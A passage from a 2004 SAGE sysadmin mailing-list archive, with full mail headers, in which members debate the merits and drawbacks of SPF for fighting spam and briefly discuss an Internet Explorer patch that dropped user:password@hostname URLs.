for ; Tue, 3 Feb 2004 16:49:20 +0000 Message-ID: <1075826960.401fd110350aa@mail.tbcs.co.uk> Date: Tue, 3 Feb 2004 16:49:20 +0000 From: Mick Sheppard To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters References: <20040203013552.GI29385@darkuncle.net> <20040203063414.E78C6C50D1@aurora.peterson.ath.cx> In-Reply-To: <20040203063414.E78C6C50D1@aurora.peterson.ath.cx> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.2.1 X-Originating-IP: 195.152.54.10 Sender: owner-sage-members@usenix.org Precedence: bulk Interesting topic and from the wide variety of views on show a perfect example of why a clued universal solution will not be implemented. Instead we will end up with the M$ solution and then we clued people will bitch about it. By then of course it will be too late and we'll all have to pay for our email. I've looked at SPF and am publishing the appropriate record for my primary domain. I send email from a laptop both connected to the network, dialed up from landlines and via a GPRS connection on my phone. I use SMTP AUTH, TLS and IMAPS. I also send and receive email on my P800 (can't justify the cost of upgrading to a P900, maybe when the P1000 comes along :) ). I switched dialup ISP because the one I originally used hijacked port 25 traffic no good to me so I changed. As I work on customer site which don't always allow me clear internet access I am using a secure webmail system to send this email. The mobile user argument against SPF is one that can be worked around by any business with a clued person. I am living proof of that. I would like to drop traffic based on SPF but am reluctant to do that at present. Instead I'm waiting for the next version of SpamAssassin which is supposed to enable SPF checking. For me this is provides a better method for me to 'dip me toe in the water'. Many of the arguments against SPF are specious at best. The coffee shop CEO is a case in point. Sending confidential business documents in the clear without authentication, how could you trust the content anyway? I don't have a particular drum to bang for one method or another. I just want a solution that works. One that allows me to prevent inappropriate email being delivered to my children but doesn't lose important email for me. I don't see this being done by the IETF, so we are left with a community effort based on a combination of factors (RBLs, SPF, Razor) or one imposed by M$. Which one do people really want? -- Mick Sheppard From sage-members-owner@usenix.org Tue Feb 3 09:07:24 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13H7NcH010104 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 09:07:24 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13H7NYC010103 for sage-members-outgoing; Tue, 3 Feb 2004 09:07:23 -0800 (PST) Received: from tiderace.darkuncle.net (tiderace.darkuncle.net [66.180.198.181]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13H7KcH010097 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 09:07:21 -0800 (PST) Received: from tiderace.darkuncle.net (sfrancis@localhost.darkuncle.net [127.0.0.1]) by tiderace.darkuncle.net (8.12.9/8.12.9) with ESMTP id i13GoW2j010448 for ; Tue, 3 Feb 2004 08:50:32 -0800 (PST) Received: (from sfrancis@localhost) by tiderace.darkuncle.net (8.12.9/8.12.9/Submit) id i13GoVaD017361 for sage-members@usenix.org; Tue, 3 Feb 2004 08:50:31 -0800 (PST) Date: Tue, 3 Feb 2004 08:50:31 -0800 From: Scott Francis To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203165031.GM21320@darkuncle.net> Mail-Followup-To: sage-members@usenix.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-Operating-System: OpenBSD X-PGP-Fingerprint: 7429 F75D D3F5 FA45 C6D7 D25B 59A0 7B8C 5537 F527 X-PGP-Key: http://darkuncle.net/pubkey.asc X-PGP-Notice: encryption subkey 2048g/0CEFEA3C has been revoked - please use 2048R/18A88182 instead (available at above URL) X-What-Happen: Somebody set up us the bomb. Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tue, Feb 03, 2004 at 10:17:03AM -0500, lambert@jeol.com said: [snip] > > This kind of thing could only possibly help if everyone in the world > > implemented it, and did so perfectly. > > I disagree. AOL is publishing SPF TXT records. If I configure my MTA to > use this information, then I can reject all MAIL FROM @aol.com that does > not come from aol's designated outbound smtp servers. Looks like this > will help me reject spoofed aol mail. > > > Even then, all it can possibly do is prevent someone from sending mail > > claiming to be from another domain that they do not actually > > own/operate. > > I agree. From my understanding of SPF, that is all it is intended to do. > > > Even if it was working perfectly at all sites everywhere in the > > world, anyone could pretend to be someone else from the same domain > > -- all hotmail users could spoof e-mail as coming from anyone else at > > hotmail. > > Yes. But, I think SPF is designed to address only domain spoofing, not > user spoofing. put another way: better a solution that's 90% effective (or even 50% effective), than no solution at all. (Factoring in the negative effects, of course, is where we seem to run into disagreements.) If we reject any proposed solution that is not both 100% effective _and_ has no bad side effects, we'll still be sitting here debating this issue ten years from now. SPF is not perfect, but it's a tool (one of many) that can help to reduce spam by attacking it at a single point (domain spoofing). It has negative side effects of debatable seriousness. Alone, it's not going to solve the problem. But as the ADA says, it "has been shown to be an effective [spam]-preventive dentrifice when used in a conscientiously applied program of [mail] hygiene and regular professional care." We need all the tools we can get, and the spammers aren't going to wait for us to come up with the perfect defense in the meantime. (the sad thing is that I didn't have a toothpaste tube in front of me when I typed this. A childhood spent reading whatever was available can produce odd results ...) - -- Scott Francis | darkuncle(at)darkuncle(dot)net | 0x5537F527 "I gave you the chance of aiding me willingly, but you have elected the way of pain!" -- Saruman, speaking for sysadmins everywhere -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (OpenBSD) iD8DBQFAH9FUWaB7jFU39ScRAhTGAJ9ru0GdBkmZv4QPK3tYAAHRAwBtYQCgsDjO /T9og2UIbRO5saUfnlb4Kc4= =5slr -----END PGP SIGNATURE----- From sage-members-owner@usenix.org Tue Feb 3 09:21:56 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13HLtcH011117 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 09:21:56 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13HLt9g011116 for sage-members-outgoing; Tue, 3 Feb 2004 09:21:55 -0800 (PST) Received: from pop.snert.net (pop.snert.net [193.41.72.72]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13HLocH011110 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Tue, 3 Feb 2004 09:21:54 -0800 (PST) Received: from snert.com ([82.97.1.254]) (authenticated bits=0) by pop.snert.net (8.12.10/8.12.10) with ESMTP id i13HLldj032126 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO) for ; Tue, 3 Feb 2004 18:21:48 +0100 Message-ID: <401FD8AD.7010105@snert.com> Date: Tue, 03 Feb 2004 18:21:49 +0100 From: Anthony Howe User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040128 X-Accept-Language: en-us, en MIME-Version: 1.0 To: SAGE Members Subject: Re: [SAGE] The sad and spammy state of virus filters Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Authenticated-Sender: user achowe from 82.97.1.254 Sender: owner-sage-members@usenix.org Precedence: bulk > ... Be liberal in what you receive; > conservative in what you send. Its my belief that its this old mantra, in particular the first half, has allowed spam to flourish. A liberal Internet is a dead concept as much as I would like it to return to those days. If conformance to RFCs were more rigorously enforced and stricter adherence to existing standards (or fixing them), then we might raise the bar high enough to discourage spam. We need solutions NOW, not in 10 years, which is why there are a variety of mail solutions being put forward that are less than optimal, but provide relief. Spam is like global warming, if we don't combat it now, then its only going to get worse and be that much harder later on. I think SPF has merit and if used in conjunction with a "reputation system" as Meng Weng Wong advocates, then it will help even if only a little bit. Until IETF and/or ASRG come up with short and long term solutions, I'm willing to try anything to beat back spam. Losing legit mail is not desirable, but I'm willing to accept a small percentage as "causalities of war". -- Anthony C Howe +33 6 11 89 73 78 http://www.snert.com/ ICQ: 7116561 AIM: Sir Wumpus "...simplicity is a goal of good design, it is never the starting point." - Dan Geer From sage-members-owner@usenix.org Tue Feb 3 09:23:14 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13HNDcH011224 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 09:23:14 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13HND31011223 for sage-members-outgoing; Tue, 3 Feb 2004 09:23:13 -0800 (PST) Received: from pop.snert.net (pop.snert.net [193.41.72.72]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13HN9cH011215 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Tue, 3 Feb 2004 09:23:12 -0800 (PST) Received: from snert.com ([82.97.1.254]) (authenticated bits=0) by pop.snert.net (8.12.10/8.12.10) with ESMTP id i13HN7dj032142 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO) for ; Tue, 3 Feb 2004 18:23:08 +0100 Message-ID: <401FD8FD.8000309@snert.com> Date: Tue, 03 Feb 2004 18:23:09 +0100 From: Anthony Howe User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040128 X-Accept-Language: en-us, en MIME-Version: 1.0 To: SAGE Members Subject: [SAGE] Jan L. Peterson wrote: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Authenticated-Sender: user achowe from 82.97.1.254 Sender: owner-sage-members@usenix.org Precedence: bulk Jan L. Peterson wrote: >> She's not going to care if SPF or other solutions offend our technical >> sensibilities as long as those solutions decrease the spam, and she >> can still do what she did before. ^^^ > > > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > Imagine the phone call you get from the CEO when she gets a call from > the CEO of a company she's been trying to do a merger with and is told > that because she never responded to the e-mailed contract he sent her > (which she never got because he mailed it from a local Starbucks and > not his corporate e-mail account and it got bounced or discarded), > he's decided to do the merger with her biggest competitor instead. And if you're doing this sort of high level negotiations, then you're talking lawyers and the passing of physical documents for signing etc. by courriers. There are other methods of communication than email and since email doesn't have the concept of a "registered letter", then you can't count on it being reliable these days. -- Anthony C Howe +33 6 11 89 73 78 http://www.snert.com/ ICQ: 7116561 AIM: Sir Wumpus "...simplicity is a goal of good design, it is never the starting point." - Dan Geer From sage-members-owner@usenix.org Tue Feb 3 09:37:01 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13Hb1cH012199 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 09:37:01 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13Hb1CE012198 for sage-members-outgoing; Tue, 3 Feb 2004 09:37:01 -0800 (PST) Received: from q7.q7.com (q7.q7.com [208.187.215.242]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13HaxcG012191 for ; Tue, 3 Feb 2004 09:36:59 -0800 (PST) Received: from localhost (joey@localhost) by q7.q7.com (8.11.6/8.11.6) with ESMTP id i13Haw123489 for ; Tue, 3 Feb 2004 09:36:58 -0800 Date: Tue, 3 Feb 2004 09:36:58 -0800 (PST) From: Joe Pruett X-X-Sender: joey@q7.q7.com To: SAGE Members Subject: [SAGE] latest ms patch In-Reply-To: <401FD8AD.7010105@snert.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk the latest ie patch has removed the user:password@hostname form of url. i can imagine this is going to cause quite a bit of head scratching for various internal tools where people might use that kind of syntax. why they couldn't add a warning instead of just disabling it, i don't know... From sage-members-owner@usenix.org Tue Feb 3 10:02:00 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13I20cH013036 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 10:02:00 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13I20vk013035 for sage-members-outgoing; Tue, 3 Feb 2004 10:02:00 -0800 (PST) Received: from bohex01.sitaaps.org (mail.sitaaps.org [205.232.221.250]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13I1rcG013026 for ; Tue, 3 Feb 2004 10:01:58 -0800 (PST) Received: from XPTHREE ([10.10.2.35]) by bohex01.sitaaps.org with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id DW6RPJJL; Tue, 3 Feb 2004 13:00:17 -0500 Message-ID: <000901c3ea7f$1896ad60$23020a0a@xpthree> From: "Eric Torbenson" To: References: Subject: Re: [SAGE] latest ms patch Date: Tue, 3 Feb 2004 12:56:48 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Sender: owner-sage-members@usenix.org Precedence: bulk > why they couldn't add a warning instead of just disabling it, i don't > know... > Take it from somebody who does lots of Microsoft and end-user work...users never read warnings. That's how Gator stuff and other spyware wind up on PCs...they don't understand that clicking "yes" allows potentially unsafe code to run on their machine. MS did this with XP's file sharing as well...until you tell it otherwise, all requests for SMB connections are filtered through the Guest account, which is disabled out of the box. It's a good way to prevent problems on home systems where the "admins" don't care about security. -Eric From sage-members-owner@usenix.org Tue Feb 3 10:09:16 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13I9GcH013565 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 10:09:16 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13I9Gci013563 for sage-members-outgoing; Tue, 3 Feb 2004 10:09:16 -0800 (PST) Received: from gray.impulse.net (gray.impulse.net [207.154.64.174]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13I9DcG013556 for ; Tue, 3 Feb 2004 10:09:14 -0800 (PST) Received: by gray.impulse.net (Postfix, from userid 1000) id 70A2E50E; Tue, 3 Feb 2004 10:09:11 -0800 (PST) To: "Jan L. Peterson" Cc: Scott Francis , sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters References: <20040203013552.GI29385@darkuncle.net> <20040203063414.E78C6C50D1@aurora.peterson.ath.cx> From: Ted Cabeen Date: Tue, 03 Feb 2004 10:09:11 -0800 In-Reply-To: <20040203063414.E78C6C50D1@aurora.peterson.ath.cx> (Jan L. Peterson's message of "Mon, 02 Feb 2004 23:34:14 -0700") Message-ID: <87brogm3w8.fsf@gray.impulse.net> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Reasonable Discussion, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-sage-members@usenix.org Precedence: bulk "Jan L. Peterson" writes: >> She's not going to care if SPF or other solutions offend our technical >> sensibilities as long as those solutions decrease the spam, and she >> can still do what she did before. ^^^ > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > Imagine the phone call you get from the CEO when she gets a call from > the CEO of a company she's been trying to do a merger with and is told > that because she never responded to the e-mailed contract he sent her > (which she never got because he mailed it from a local Starbucks and > not his corporate e-mail account and it got bounced or discarded), he's > decided to do the merger with her biggest competitor instead. How is this substantially different from losing the merger because the other company's mail server malfunctioned and dropped the mail? Presumably the reason the mail wasn't delivered is because the other company has SPF rules defined on their domain which your system respects. That seems like a failure on their side. Since they implemented SPF, it's their responsibility to provide mail submission systems for their employees that allow them to send email from remote locations. I can see how SPF can cause problems, but most of those problems seem to come out of admins defining SPF rules on domains when they shouldn't be doing so. Sure, if they didn't have any SPF rules listed for their domain and you bounced it, that would be a problem, but that's your decision to bounce non-SPF email, and I think that situation is far in the future. -- Ted Cabeen http://www.pobox.com/~secabeen ted@impulse.net Check Website or Keyserver for PGP/GPG Key BA0349D2 secabeen@pobox.com "I have taken all knowledge to be my province." -F. Bacon secabeen@cabeen.org "Human kind cannot bear very much reality."-T.S.Eliot cabeen@netcom.com From sage-members-owner@usenix.org Tue Feb 3 10:26:00 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13IQ0cH014353 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 10:26:00 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13IQ016014350 for sage-members-outgoing; Tue, 3 Feb 2004 10:26:00 -0800 (PST) Received: from tiderace.darkuncle.net (tiderace.darkuncle.net [66.180.198.181]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13IPjcH014286 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 10:25:52 -0800 (PST) Received: from tiderace.darkuncle.net (sfrancis@localhost.darkuncle.net [127.0.0.1]) by tiderace.darkuncle.net (8.12.9/8.12.9) with ESMTP id i13I8t2j028675 for ; Tue, 3 Feb 2004 10:08:55 -0800 (PST) Received: (from sfrancis@localhost) by tiderace.darkuncle.net (8.12.9/8.12.9/Submit) id i13I8t6m014349 for sage-members@usenix.org; Tue, 3 Feb 2004 10:08:55 -0800 (PST) Date: Tue, 3 Feb 2004 10:08:55 -0800 From: Scott Francis To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203180855.GO21320@darkuncle.net> Mail-Followup-To: sage-members@usenix.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-Operating-System: OpenBSD X-PGP-Fingerprint: 7429 F75D D3F5 FA45 C6D7 D25B 59A0 7B8C 5537 F527 X-PGP-Key: http://darkuncle.net/pubkey.asc X-PGP-Notice: encryption subkey 2048g/0CEFEA3C has been revoked - please use 2048R/18A88182 instead (available at above URL) X-What-Happen: Somebody set up us the bomb. Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Mon, Feb 02, 2004 at 05:59:15PM -0800, mark@bitshift.org said: [snip] > > > Once SPF is having a negative impact on users, it'll be too late. The > > > pebbles cannot vote once the avalanche has started. > > > > oddly enough, that's exactly the same point I was trying to make. :) The > > users will start the avalanche unless we start it first, and I think critical > > mass is coming pretty soon (witness Congress, long representative of > > slow-acting bodies worldwide, passing a spam law (albeit a useless one)). > > > But that's at odds with your statement, which I paraphrase here: "Users > don't care about the technicalities of the solution". Thus, they cannot > dictate same (ignoring that they have no direct hand in said > technicalities for the moment, just for the sake of the point). Users don't care about technicalities - they just care that it works. They will dictate with their dollars a solution, regardless of the technical specifics, unless we provide them with a technically sound solution first. I don't see users dictating technical solutions, just moving en masse to the first thing that comes along and appears to do what they want, regardless of whether or not it's actually a Good Idea. > By the way, Congress already passed an anti-spam law. It took effect > Jan 1, 2004. yes, I already alluded to that (and its complete uselessness). > > > Hence, the complaints now, early and often. > > > > definitely - complain and discuss, but with an eye towards a solution sooner > > rather than later. Time grows short. > > A poor solution is no solution at all. Be liberal in what you receive; > conservative in what you send. It would appear those acting publically > in the antispam arena have forgotten this, in favor of the "let a > million sores fester" approach. Mr. Postel's advice is some of the best made for networks; users, however, are notoriously unwilling to be liberal in what they receive. If we attempt to force them to follow that advice, we may find that they will all jump ship to the first "solution" that comes down the pike. > I have no beef with SPF as long as any commercial provider never moves > beyond "?all". You and I both know they will. When that happens, > things will break, and break spectacularly. And by then, it'll be too > late. Things _will_ break; it's not a matter of if, but only when and how. We'd better start preparing for minimal breakage and dealing with the fallout, or it's going to be worse when the inevitable happens. - -- Scott Francis | darkuncle(at)darkuncle(dot)net | 0x5537F527 "I gave you the chance of aiding me willingly, but you have elected the way of pain!" -- Saruman, speaking for sysadmins everywhere -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (OpenBSD) iD8DBQFAH+O0WaB7jFU39ScRAoJ1AKDLAH9mXVv8DL+olL1HJBEoS+TglwCfXO6H tX2sOnxBEZJQFhQ6Rsnk3ZE= =7p/l -----END PGP SIGNATURE----- From sage-members-owner@usenix.org Tue Feb 3 10:33:09 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13IX8cH014874 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 10:33:09 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13IX8FS014873 for sage-members-outgoing; Tue, 3 Feb 2004 10:33:08 -0800 (PST) Received: from ribbit.roadtoad.net (ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13IX3cG014845 for ; Tue, 3 Feb 2004 10:33:05 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i13IWuiL013307 for ; Tue, 3 Feb 2004 10:32:56 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 99F1622887; Tue, 3 Feb 2004 10:32:56 -0800 (PST) Date: Tue, 3 Feb 2004 10:32:56 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203183256.GK69255@bitshift.org> References: <20040203165031.GM21320@darkuncle.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203165031.GM21320@darkuncle.net> User-Agent: Mutt/1.4.1i X-Uptime: 10:17AM up 231 days, 13:27, 14 users, load averages: 0.09, 0.04, 0.01 Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Feb 03, 2004 at 08:50:31AM -0800, Scott Francis wrote: > > put another way: better a solution that's 90% effective (or even 50% > effective), than no solution at all. (Factoring in the negative effects, of > course, is where we seem to run into disagreements.) > We have that now. We have myriad of them. Take, for example, SpamAssassin (+ MIMEDefang, or + clamav, or + whatever else tickles your fancy). And, as an added bonus, it doesn't break forwarding. It doesn't break roaming use. It doesn't break the other things broken by SPF. Run your filters as milters (or your MTA's equivalent -- I believe the four major *nix MTAs all have some version of a milter now), and you can filter nonlocal as well as local-bound mail, thus stopping crap as it's being sent out, rather than filtering it once it's received (or as it's being received). But hey, let's just call Microsoft's e-mail tax (for that's what the stamp proposal is) 90% effective and roll it right on out. Never mind the fact that it ENCOURAGES spam by paying ISPs to receive spam. That's just an implementation issue we can work around once it's rolled out, right? Riiiiiight. For me, the matter's simple: e-mail is a fundamental service. When it breaks, all hell breaks loose. Users are unhappy when email breaks. Admins are unhappy when email breaks. SPF breaks email. It's just that the users don't know it yet. At this point in time, only those capable of technically assessing the approach are aware of the problems it causes. Some have called any opposition to such technology hubris. I'd say that assuming your users will be happy with a solution that only works 90% of the time a far greater act of hubris. And telling them, "look: This is the solution we decided upon; we know it doesn't work in situations X, Y, and Z. We know you can't send email in certain circumstances. That's the price you must pay," is just going to do wonders to erase the conception of sysadmins as elitist technophiles with no foresight or concern for the plight of the average user. Once again, we'll be seen as shoving technology down users' throats whether they want it or not. Go ask your users if they would be happy if they can't send mail from a "wireless hot spot". Ask them if they'd be happy with a technology that prevents them from sending mail from the hotel in which they're staying. Ask them if they'd welcome a technology that says they cannot send email from their cellphones/handheld devices (and if you think this last category is a non-issue, try to find a Treo 600 in stock anywhere). I think perhaps the reasons for which some are so accepting of SPF are nowhere near the reasons the average user may accept, or reject, SPF. Moving an inch forward is not always a good thing. In this particular situation, it's extremely difficult to back up once you reach the proverbial dead end. It's therefore paramount that the technology be evaluated from ALL angles, not just the, "Will it reduce my spam/virus influx?" one. > If we reject any proposed solution that is not both 100% effective _and_ has > no bad side effects, we'll still be sitting here debating this issue ten > years from now. > True, but there are solutions today that are at least as effective and have the added bonus of not fundamentally breaking mail delivery in various fairly widespread usages. > SPF is not perfect, but it's a tool (one of many) that can help to reduce > spam by attacking it at a single point (domain spoofing). It has negative > side effects of debatable seriousness. Alone, it's not going to solve the > problem. But as the ADA says, it "has been shown to be an effective > [spam]-preventive dentrifice when used in a conscientiously applied program > of [mail] hygiene and regular professional care." Where? At AOL? Then I posit that it's a special case. AOL customers are NOT representative of the average Internet user, let alone your average business user. The needs of those who require their Internet experience swaddled in cotton candy and Librium are not the same as those that demand availability and flexibility. And, believe it or not, that last category isn't "systems administrators". It's "business users". Those to whom many of us are answerable. > We need all the tools we > can get, and the spammers aren't going to wait for us to come up with the > perfect defense in the meantime. > No, but they'll still be here when we do find a good, workable solution. There's no need to rush something out the door just because it's available. Spammers aren't going anywhere; they'll wait until we have a better solution. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Tue Feb 3 10:42:45 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13IgjcH015621 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 10:42:45 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13Igjgk015620 for sage-members-outgoing; Tue, 3 Feb 2004 10:42:45 -0800 (PST) Received: from ribbit.roadtoad.net (ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13IghcG015609 for ; Tue, 3 Feb 2004 10:42:44 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i13IgciL016927 for ; Tue, 3 Feb 2004 10:42:38 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 7985A22887; Tue, 3 Feb 2004 10:42:38 -0800 (PST) Date: Tue, 3 Feb 2004 10:42:38 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203184238.GL69255@bitshift.org> References: <20040203013552.GI29385@darkuncle.net> <20040203063414.E78C6C50D1@aurora.peterson.ath.cx> <1075826960.401fd110350aa@mail.tbcs.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1075826960.401fd110350aa@mail.tbcs.co.uk> User-Agent: Mutt/1.4.1i X-Uptime: 10:17AM up 231 days, 13:27, 14 users, load averages: 0.09, 0.04, 0.01 Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Feb 03, 2004 at 04:49:20PM +0000, Mick Sheppard wrote: > > I've looked at SPF and am publishing the appropriate record for my primary > domain. I send email from a laptop both connected to the network, dialed up > from landlines and via a GPRS connection on my phone. I use SMTP AUTH, TLS and > IMAPS. I also send and receive email on my P800 (can't justify the cost of > upgrading to a P900, maybe when the P1000 comes along :) ). I switched dialup > ISP because the one I originally used hijacked port 25 traffic no good to me so > I changed. As I work on customer site which don't always allow me clear > internet access I am using a secure webmail system to send this email. The > mobile user argument against SPF is one that can be worked around by any > business with a clued person. I am living proof of that. > Obtaining a cellphone that handles SMTP AUTH. TLS, and IMAPS is not an option for everyone (in fact, probably not for the vast majority of people). Changing ISPs is likewise not an option for many. Nor is asking your userbase to do so just to accomodate a change to the mail system that breaks various parts of the mail system anywhere near the realm of reasonable. I'm happy that you're able to successfully use SPF for your personal domain, and that you're able to work around the problems it presents. However, your example does not scale. And the fact that you, a clued user, ran into problems that you had to find solutions for due to SPF should be tripping alarms in your head. If it's not, then there's a chasm here I don't think I can bridge. If you -- as a clued, technical user -- had to jump through hoops, however trivial, in various circumstances to continue using email, then imagine the furor in the boardroom when the CEO finds that she must negotiate those same hoops, without the benefit of your technical expertise. Smells an awful lot like a recipe for involuntary recovery from your current position. > I would like to drop traffic based on SPF but am reluctant to do that at > present. Instead I'm waiting for the next version of SpamAssassin which is > supposed to enable SPF checking. For me this is provides a better method for me > to 'dip me toe in the water'. Which is all fine and good, _for your domain_. What about all those domains that decide that dropping trafffic based on SPF (or, let's be clear here: Those that decide to tell the world to drop any and all traffic for their domain(s) based on SPF) over which you have no control? What if the entity making that decision is your hosting provider? What if the entity making that decision is in the boardroom of your ISP? What if the entity making that decision is part of the technical staff at your place of business? What then? There seems to be an unspoken assumption here: That any and all SPF rollouts will be done sensibly, and where SPF has the potential to break things, the appropriate measures will be put in place prior to said breakage to provide a workaround. It's a nice thought, but it's not part of reality. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Tue Feb 3 10:49:56 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13InucH016119 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 10:49:56 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id 